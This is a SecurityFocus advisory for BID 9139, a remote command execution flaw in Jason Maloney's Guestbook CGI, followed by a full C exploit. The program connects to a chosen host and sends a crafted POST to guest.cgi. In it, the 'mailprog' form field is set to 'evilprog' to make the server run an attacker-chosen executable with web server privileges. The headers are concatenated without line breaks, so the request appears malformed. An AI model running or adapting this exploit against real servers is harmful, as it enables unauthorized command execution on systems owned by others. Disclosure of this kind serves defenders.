source: http://www.securityfocus.com/bid/9139/info

A vulnerability has been reported in Jason Maloney's Guestbook that could result in remote command execution with the privileges of the web server. The problem occurs due to the application failing to sanitize sensitive script variables after handling POST requests. This could potentially result in the execution of arbitrary system executables. 

/* Jason Maloney's Guestbook CGI vulnerability PoF.
 *
 * Discovered and written by shaun2k2 -
shaunige@yahoo.co.uk.
 *
 * A few things in the HTTP headers WILL need to be
changed appropriately to custom values for this
exploit to WORK.
 *
 * Greets to: rider, maveric, sw0rdf1sh, liquidfish,
pc_the_great, peter, rizzo, theclone, msViolet,
Kankraka, deadprez, hades, the p0pe, port9, Dr
Frankenstein, and whitedwarf.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Jason Maloney's CGI Guestbook
Exploit.\n");
                printf("Discovered and written by
shaun2k2 - shaunige@yahoo.co.uk\n");
                printf("\nUsage: %s <host>\n",
argv[0]);
                exit(-1);
        }

        int sock;

        printf("- Preparing exploit buffer.\n");
        char http_request[] = "POST
/guestbook/guest.cgi HTTP/1.1"
                              "Host: localhost"
                              "User-Agent: Mozilla/5.0
(Windows; U; Win98; en-US; rv:1.2) Gecko/20021205"
                              "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1"
                              "Accept-Language:
en-us,en;q=0.5"
                              "Accept-Encoding:
gzip,deflate"
                              "Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7"
                              "Keep-Alive: 300"
                              "Connection: keep-alive"
                              "Referer:
http://localhost/guestbook/add.html"
                              "Content-Type:
application/x-www-form-urlencoded"
                              "Content-Length: 111"

"name=dgf&email=shaunige@yahoo.co.uk&url=http%3A%2F%2Fdfg&city=dfg&state=dfg&country=USA&comments=dfg&mailprog=evilprog&x=15&y=20";
        struct sockaddr_in dest;
        struct hostent *he;

        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve
hostname!\n");
                exit(-1);
        }

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) ==
-1) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_addr = *((struct in_addr
*)he->h_addr);
        dest.sin_port = htons(PORT);

        printf("[!] Connecting.\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) == -1) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n");
        printf("[*] Sending exploit buffer.\n");
        send(sock, http_request, strlen(http_request),
0);
        sleep(1);
        printf("[*] Exploit buffer sent!\n");
        sleep(1);
        close(sock);
        printf("[!] Disconnected.\n");

        return(0);
}

